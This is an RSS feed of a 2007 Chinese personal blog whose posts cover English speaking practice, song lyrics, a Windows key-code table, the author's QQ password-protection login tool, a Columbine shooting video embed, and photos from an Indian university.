		<p>      最理想的练习口语的方法是有个说英语的外国人天天在你身边陪你说英语，但这个条件一般谁也不具备，那么怎么来练习口语呢，有一个好办法非常可行，就是自己和自己说练习英语口语（当然后期还要找一些外国人进行语言交流体验），请相信自己和自己练习口语这一办法很管用，新体系英语有一个方法，叫“反述式口语练习法”，推荐给你：<br />      拿出一篇英语文章来先看懂，反复看几遍，争取记住里面的内容（注意千万别背），然后把文章翻扣在桌上，对着墙用自己的英语将刚才读过的文章反说出来（注意是述说，不是背诵），一开始根本记不住，就打开文章再看一遍，然后再翻扣过来用英语述说，遇到卡壳的地方就翻过文章再看一看，看看人家原文怎么说，再翻扣过去述说……直到把整个文章说完，反复练习多遍后，不仅可以流利地述说这篇文章，还可以改换说法，用各种各样的方法述说，如先说开头后说结尾、先说中间后说两头，长话短说、短话长说……不用多，只需几篇文章，就可以练出流利的英语口语，而且保证地道正确，比外国人说的还标准，因为所有的句子和表达方法都来自书上，还能有错？这样练习口语，进步飞速。比和外国人面对面说英语进步还快，因为面对面听不懂还不好意思问人家，现在是自己说了算，有任何不懂的地方马上可以查字典，查一个小时也没人管你。想学医学的口语就拿医学文章来反述，想学军事的口语就用军事文章来反述，想说什么就说什么，直到学会。用“反述式口语练习法”学习英语口语，大学生几个月就可以讲一口流利的英语，信不信由你，请试试吧。</p>
		<p>      需要注意的是，一开始一定要从简单的文章开始反述，千万别以为自己水平很高，急着先拿复杂的高级文章来反述。不管你的阅读水平有多高，在口语上一定要谦虚地把自己当成刚学说话的小婴儿，要甘心从头开始学习，要从第一个台阶开始迈起，不要以为一步跨上3个台阶才算进步快，我反复讲过，英语不难学，一共也就十个台阶，一个台阶一个台阶地上本来很容易，可大多数人心急，偏要一步迈上第十个台阶，结果把本来很简单的一件事搞得十分艰难。</p>
		<p>      那么什么样的文章是你应该“反述”的第一篇文章呢，就是那种一看就懂，但看完了用英语却怎么也说不出来的最简单的文章，就从这篇文章开始吧！</p>
		<p>　　第一步：大量背诵原汁原味的单句、对话、生活习语。</p>
		<p>　　第二步：把每天背诵过的素材反复消化，借助想像力，身临其境把它们表演出来。　　</p>
		<p>　　第三步：写日记。这个习惯看上去练习的是写作，其实它更是练习口语的妙法。当你动笔的同时，你的大脑正在激烈地做着英文体操。用英文进行思维是高级的口语训练方法。</p>
		<p>　　第四步：大量阅读报刊、杂志及各种故事、杂文，之后将它们复述出来。(超级提示：是"复述"而非"背诵"。)同一篇文章的复述工作应该反复滚动。　</p>
		<p>　　第五步：一年左右逐渐过渡到用英文进行日常的思维活动。每当遇到不会的词、句就记录在本子上，集中解决，并定时更新、复习。</p>
<img src ="http://www.blogjava.net/bcims/aggbug/151198.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-10-09 02:45 <a href="http://www.blogjava.net/bcims/archive/2007/10/09/151198.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>《尖尖谣》真正的民族歌声</title><link>http://www.blogjava.net/bcims/archive/2007/08/18/137753.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sat, 18 Aug 2007 00:55:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/08/18/137753.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/137753.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/08/18/137753.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/137753.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/137753.html</trackback:ping><description><![CDATA[
		<div class="t_msgfont" id="message21614">
				<p>在中韩歌曲会上听到的，当时一听就忘不了，在网上找了好久：</p>
				<p>
						<font style="BACKGROUND-COLOR: #ff0000" color="#ffffff">如果您还听到有其它的歌曲声音，请您在我页面的最下端把背景音乐关了。</font>
				</p>
				<p>
						<object codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="20" width="200" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000">
								<param name="_cx" value="5292" />
								<param name="_cy" value="529" />
								<param name="FlashVars" value="" />
								<param name="Movie" value="http://bbs.aust.edu.cn/images/common/player.swf?son=http://bbs.aust.edu.cn/data/jianjianyao.mp3&amp;autoplay=1" />
								<param name="Src" value="http://bbs.aust.edu.cn/images/common/player.swf?son=http://bbs.aust.edu.cn/data/jianjianyao.mp3&amp;autoplay=1" />
								<param name="WMode" value="Window" />
								<param name="Play" value="-1" />
								<param name="Loop" value="-1" />
								<param name="Quality" value="High" />
								<param name="SAlign" value="LT" />
								<param name="Menu" value="0" />
								<param name="Base" value="" />
								<param name="AllowScriptAccess" value="sameDomain" />
								<param name="Scale" value="NoScale" />
								<param name="DeviceFont" value="0" />
								<param name="EmbedMovie" value="0" />
								<param name="BGColor" value="" />
								<param name="SWRemote" value="" />
								<param name="MovieData" value="" />
								<param name="SeamlessTabbing" value="1" />
								<param name="Profile" value="0" />
								<param name="ProfileAddress" value="" />
								<param name="ProfilePort" value="0" />
								<param name="AllowNetworking" value="all" />
								<param name="AllowFullScreen" value="false" />
								<embed src="http://bbs.aust.edu.cn/data/jianjianyao.mp3" quality="high" width="200" height="20" allowscriptaccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
						</object>
				</p>
				<p> </p>
				<p>这里的山头尖又尖 <br />装扮春夏秋冬好家园 <br />天生就是水墨画 <br />时常入梦来哟 <br />醉倒云水间 <br /><br />这里的筷头尖又尖 <br />品尝一年四季炊烟甜 <br />幸福脸上桃花开 <br />只想唱山歌哟 <br />不愿做神仙 <br /><br />这里的笔头尖又尖 <br />割下祖祖辈辈梦和盼 <br />世代爱听读书声 <br />妙手著文章的名篇数不完 <br />美丽的家乡 <br />山水胜画卷 <br />神奇的土地 <br />人情最温暖 <br />每当走近你 <br />忍不住一千遍呼喊 <br /><br />那尖尖的笔杆 <br />尖尖的筷子 尖尖的山 <br /><br />美丽的家乡 <br />山水胜画卷 <br />神奇的土地 <br />人情最温暖 <br />每当离开你 <br />我都会一万分留恋 <br />那尖尖的吸引 尖尖的牵挂 尖尖的思念 <br /><br />美丽的家乡 <br />山水胜画卷 <br />神奇的土地 <br />人情最温暖 <br />每当走近你 <br />忍不住一千遍呼喊 <br />那尖尖的笔杆 <br />尖尖的筷子 尖尖的山 <br /><br />美丽的家乡 <br />山水胜画卷 <br />神奇的土地 <br />人情最温暖 <br />每当离开你 <br />我都会一万分留恋 <br />那尖尖的吸引 尖尖的牵挂 尖尖的思念</p>
		</div>
<img src ="http://www.blogjava.net/bcims/aggbug/137753.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-08-18 08:55 <a href="http://www.blogjava.net/bcims/archive/2007/08/18/137753.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>微软（中国）技术中心RFID实验室内部PPT下载</title><link>http://www.blogjava.net/bcims/archive/2007/08/11/135985.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sat, 11 Aug 2007 02:14:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/08/11/135985.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/135985.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/08/11/135985.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/135985.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/135985.html</trackback:ping><description><![CDATA[好的资料应该要分享一下<br /><font style="BACKGROUND-COLOR: #ff0000" color="#ffffff">下载地址：</font><br /><a href="http://www.jiuxia.com/upload/ARC200-yangfeng.rar">http://www.jiuxia.com/upload/<font color="#0000ff">ARC200-yangfeng.rar</font></a><br /><font color="#000000"> </font><div class="O" style="TEXT-ALIGN: center" v:shape="_x0000_s1026"><span style="FONT-SIZE: 40pt; COLOR: #ffcc29; FONT-FAMILY: 宋体; mso-ascii-font-family: 宋体; mso-fareast-font-family: 宋体; mso-hansi-font-family: 宋体; text-shadow: auto; mso-color-index: 3"><b><u></u></b></span> </div><img src ="http://www.blogjava.net/bcims/aggbug/135985.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-08-11 10:14 <a href="http://www.blogjava.net/bcims/archive/2007/08/11/135985.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>键盘各键对应的ASCII码值</title><link>http://www.blogjava.net/bcims/archive/2007/07/28/133026.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sat, 28 Jul 2007 10:20:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/28/133026.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/133026.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/28/133026.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/133026.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/133026.html</trackback:ping><description><![CDATA[
		<font size="2">上次用的时候一直找，这次找到了，收藏起来。<img height="19" src="http://www.blogjava.net/Emoticons/71_71.gif" width="19" border="0" /><br /><br />0x1 鼠标左键<br />0x2 鼠标右键<br />0x3 CANCEL 键<br />0x4 鼠标中键<br />0x8 BACKSPACE 键<br />0x9 TAB 键<br />0xC CLEAR 键<br />0xD ENTER 键<br />0x10 SHIFT 键<br />0x11 CTRL 键<br />0x12 MENU 键<br />0x13 PAUSE 键<br />0x14 CAPS LOCK 键<br />0x1B ESC 键<br />0x20 SPACEBAR 键<br />0x21 PAGE UP 键<br />0x22 PAGE DOWN 键<br />0x23 END 键<br />0x24 HOME 键<br />0x25 LEFT ARROW 键<br />0x26 UP ARROW 键<br />0x27 RIGHT ARROW 键<br />0x28 DOWN ARROW 键<br />0x29 SELECT 键<br />0x2A PRINT SCREEN 键<br />0x2B EXECUTE 键<br />0x2C SNAPSHOT 键<br />0x2D INSERT 键<br />0x2E DELETE 键<br />0x2F HELP 键<br />0x90 NUM LOCK 键<br /><br /></font>
		<p>
				<font size="2">A 至 Z 键与 A – Z 字母的 ASCII 码相同：<br />值 描述<br />65 A 键<br />66 B 键<br />67 C 键<br />68 D 键<br />69 E 键<br />70 F 键<br />71 G 键<br />72 H 键<br />73 I 键<br />74 J 键<br />75 K 键<br />76 L 键<br />77 M 键<br />78 N 键<br />79 O 键<br />80 P 键<br />81 Q 键<br />82 R 键<br />83 S 键<br />84 T 键<br />85 U 键<br />86 V 键<br />87 W 键<br />88 X 键<br />89 Y 键<br />90 Z 键<br /><br />0 至 9 键与数字 0 – 9 的 ASCII 码相同：<br />值 描述<br />48 0 键<br />49 1 键<br />50 2 键<br />51 3 键<br />52 4 键<br />53 5 键<br />54 6 键<br />55 7 键<br />56 8 键<br />57 9 键<br /><br />下列常数代表数字键盘上的键：<br />值    描述<br />0x60 0 键<br />0x61 1 键<br />0x62 2 键<br />0x63 3 键<br />0x64 4 键<br />0x65 5 键<br />0x66 6 键<br />0x67 7 键<br />0x68 8 键<br />0x69 9 键<br />0x6A MULTIPLICATION SIGN (*) 键<br />0x6B PLUS SIGN (+) 键<br />0x6C ENTER 键<br />0x6D MINUS SIGN (–) 键<br />0x6E DECIMAL POINT (.) 键<br />0x6F DIVISION SIGN (/) 键<br /><br />下列常数代表功能键：<br />值     描述<br />0x70 F1 键<br />0x71 F2 键<br />0x72 F3 键<br />0x73 F4 键<br />0x74 F5 键<br />0x75 F6 键<br />0x76 F7 键<br />0x77 F8 键<br />0x78 F9 键<br />0x79 F10 键<br />0x7A F11 键<br />0x7B F12 键<br />0x7C F13 键<br />0x7D F14 键<br />0x7E F15 键<br />0x7F F16 键</font>
		</p>
<img src ="http://www.blogjava.net/bcims/aggbug/133026.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-07-28 18:20 <a href="http://www.blogjava.net/bcims/archive/2007/07/28/133026.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我的软件《QQ密码保护登录器V1.0》发布</title><link>http://www.blogjava.net/bcims/archive/2007/07/28/133024.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sat, 28 Jul 2007 10:11:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/28/133024.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/133024.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/28/133024.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/133024.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/133024.html</trackback:ping><description><![CDATA[
		<p>经常听我的朋友说“机子中毒QQ被盗，奇哥求救，何解？帮我搞回来罗！”，此类话语在我的耳边已听到过N多次。<br />为了让我身边的人减少或避免此类事而蒙受的心理或财力伤害<img height="19" src="http://www.blogjava.net/Emoticons/emwink.gif" width="19" border="0" />，感觉我已经做点事了..........<br />说干就干，现在的盗Q病毒无非这几类：<br />一：当你成为他的肉鸡后，感染你的qq.exe文件，替换他，生成假的登陆器。<br />二：强力破解你本机上的QQ密码文件（不过现在基本上不行了）。<br />三：当你启到QQ.EXE后，监听你的键盘对应的ASCII码值，再发回盗Q者。<br /><br />所以我钟对以上情况，自己写了这个可以批量或单登陆的软件，密码的保存都是放到我自己的加密文件里的，同时也对在登陆QQ时的ASCII码进行了处理。<br /><font style="BACKGROUND-COLOR: #ff0000" color="#ffffff">下载地址：</font><a href="http://www.jiuxia.com/qq.rar">http://www.jiuxia.com/qq.rar</a><br />后来发给朋友用，都说不错<img height="19" src="http://www.blogjava.net/Emoticons/emthup.gif" width="19" border="0" /><img height="19" src="http://www.blogjava.net/Emoticons/shades_smile.gif" width="19" border="0" /><img height="19" src="http://www.blogjava.net/Emoticons/emwink.gif" width="19" border="0" />............................<br /><font style="BACKGROUND-COLOR: #ff0000" color="#ffffff">如果您还有其它疑问的话，可以通过上面的方式联系我。</font><br /><br />首先你下载解压后，会发现在如下安装文件，您双击即可。<br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 203px; BORDER-TOP-COLOR: black; HEIGHT: 79px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_5f.bmp" /> <br />如果您安装成功后，就会跟我一样在桌面上看到如下QQ密码保护图标。<br /><br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 229px; BORDER-TOP-COLOR: black; HEIGHT: 224px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_4f.bmp" /> <br /><br />您要运行的话，再双击图标，就可以看到如下界面。<br />您可以根据您QQ或TM所在的地址选择后，确定即可。<br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 351px; BORDER-TOP-COLOR: black; HEIGHT: 148px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_3f.bmp" /> <br /><br />确定后，自动会调出如下的主界面。<br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 365px; BORDER-TOP-COLOR: black; HEIGHT: 365px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_1f.bmp" /> <br />现在您就可以选择添加帐户来添加您要登陆的QQ资料。<br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 231px; BORDER-TOP-COLOR: black; HEIGHT: 222px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_2f.bmp" /> <br />如果您有多个QQ想一起启动并得到保护的话，可以重复上面的动作，得到如下效果，您可以选择同时登陆的哪几个QQ，一气呵成，舒服！<br /><br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 368px; BORDER-TOP-COLOR: black; HEIGHT: 365px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_6f.bmp" /> </p>
		<p>
				<br /> </p>
<img src ="http://www.blogjava.net/bcims/aggbug/133024.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-07-28 18:11 <a href="http://www.blogjava.net/bcims/archive/2007/07/28/133024.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>美国高中枪击案现场录象完整震撼</title><link>http://www.blogjava.net/bcims/archive/2007/07/08/128885.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 08 Jul 2007 08:16:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/08/128885.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/128885.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/08/128885.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/128885.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/128885.html</trackback:ping><description><![CDATA[
		<p>
		</p>
		<table cellspacing="0" cellpadding="4" align="center" border="0">
				<tbody>
						<tr>
								<td colspan="2">
										<div class="divNote">简介： 1999年4月20日两个哥伦比亚高中学生冲进校园，用半自动武器、鸟枪和一批爆炸物杀死了1位老师，12名学生，然后自杀。另有26人受伤。 当日11时19分，两名学生来到校外。其中一名大叫“出来！出来！”并当即向5名学生射击，造成两人死亡。随后，持枪者向门窗射击并将自制的炸弹扔上房顶。持枪者随之进入图书馆进行屠杀。最后两名凶手自杀身亡。 哥伦比亚高中惨案是美国历史上最严重的枪击事件。</div>
								</td>
						</tr>
						<tr>
								<td valign="top" align="middle" width="508">
										<table cellspacing="0" cellpadding="0" width="508" border="0">
												<tbody>
														<tr>
																<td>
																		<table cellspacing="0" cellpadding="4" bgcolor="#cccccc" border="0">
																				<tbody>
																						<tr>
																								<td>
																										<iframe id="playIframe" src="http://podcast.googsc.com/videoplayer/playTest.htm?type=application/x-shockwave-flash&amp;file=http://tv.mofile.com/cn/xplayer.swf?v=AH2AOMTD&amp;autoplay=0" frameborder="0" width="508" scrolling="no" height="450">
																										</iframe>
																								</td>
																						</tr>
																				</tbody>
																		</table>
																</td>
														</tr>
												</tbody>
										</table>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/bcims/aggbug/128885.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-07-08 16:16 <a href="http://www.blogjava.net/bcims/archive/2007/07/08/128885.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>我马上赴印度就读的大学（图）</title><link>http://www.blogjava.net/bcims/archive/2007/07/05/128382.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Thu, 05 Jul 2007 08:11:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/05/128382.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/128382.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/05/128382.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/128382.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/128382.html</trackback:ping><description><![CDATA[
		<div align="center">
				<a href="file:///D:/%C2%BC%C3%93%C2%B9%C2%A4%C2%BA%C3%B3%C2%B5%C3%84%C3%95%C3%95%C3%86%C2%AC/VIT%20UNIVERSITY/DSC00734.jpg" target="_blank">
				</a>
				<a href="http://blog.sina.com.cn/main/html/showpic.html#url=http://s8.album.sina.com.cn/pic/4642ef9002001357" target="_blank">
						<div align="center">
								<br />
								<font color="#000000">图片是我从王霏和</font>
						</div>
				</a>
				<font color="#000000">邵素帛</font>
				<font color="#000000">那里整理过来<br /></font>
				<font color="#000000">以后还有其它的图片，我也将加在些帖里。</font>
				<br />
				<br />
				<img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_4642ef900200134x.jpg" /> <br /></div>
		<div align="center"> </div>
		<div align="center">极具创意的大学校门</div>
		<div align="center">
				<img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_Z1.jpg" /> </div>
		<div align="center">行政办公楼</div>
		<div align="center">
				<img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_Z2.jpg" /> </div>
		<div align="center">女生宿舍(一)</div>
		<div align="center">桶子楼内带女生游泳池,配有专门教练.</div>
		<div align="center">
				<img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_Z3.jpg" /> </div>
		<div align="center">男生专用游泳池</div>
		<div align="center">印度男生女生一起游泳是不可能的事<br /><a href="http://hiphotos.baidu.com/superlos/pic/item/a198939445290c1fd31b70f0.jpg" target="_blank"></a><br /><div align="center"> <img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_4642ef9002001355.jpg" /></div><div align="center">科技塔夜景</div><div align="center"> </div><div align="center"><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 500px; BORDER-TOP-COLOR: black; HEIGHT: 375px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_Z4.jpg" /> <br />教研室</div></div>
<img src ="http://www.blogjava.net/bcims/aggbug/128382.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-07-05 16:11 <a href="http://www.blogjava.net/bcims/archive/2007/07/05/128382.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>印度美女超大图放送!</title><link>http://www.blogjava.net/bcims/archive/2007/07/03/127967.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Tue, 03 Jul 2007 15:17:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/07/03/127967.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/127967.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/07/03/127967.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/127967.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/127967.html</trackback:ping><description><![CDATA[转了一个朋友的！<br />原址是：<a href="http://hi.baidu.com/india168/blog/item/6bf0e9f82b87660dd8f9fde6.html">http://hi.baidu.com/india168/blog/item/6bf0e9f82b87660dd8f9fde6.html</a><br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 600px; BORDER-TOP-COLOR: black; HEIGHT: 450px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_1.jpg" /> <br /><br /><br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 357px; BORDER-TOP-COLOR: black; HEIGHT: 480px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_2.jpg" /> <br /><br /><br /><img id="ViewPicture1_GalleryImage" style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-LEFT-COLOR: black; BORDER-BOTTOM-WIDTH: 0px; BORDER-BOTTOM-COLOR: black; WIDTH: 640px; BORDER-TOP-COLOR: black; HEIGHT: 480px; BORDER-RIGHT-WIDTH: 0px; BORDER-RIGHT-COLOR: black" src="http://www.blogjava.net/images/blogjava_net/bcims/24353/r_3.jpg" /> <br /><br /><img src ="http://www.blogjava.net/bcims/aggbug/127967.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2007-07-03 23:17 <a href="http://www.blogjava.net/bcims/archive/2007/07/03/127967.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RSS阅读器下载</title><link>http://www.blogjava.net/bcims/archive/2007/05/13/117088.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Sun, 13 May 2007 01:34:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2007/05/13/117088.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/117088.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2007/05/13/117088.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/117088.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/117088.html</trackback:ping><description><![CDATA[总结经验的基础上形成了自己的一套模式，相信它的诞生不仅仅会推动新浪点点通自身的发展提高，也将促进RSS的传播推广。特点：1 小巧精致。安装文件只有498K，是最小的阅读器。 2 功能完善，闻源齐全，从用户角度出发。 3 界面友好，人性化。 4 操作简单方便，易于掌握。让人们了解RSS，让RSS服务于人。 
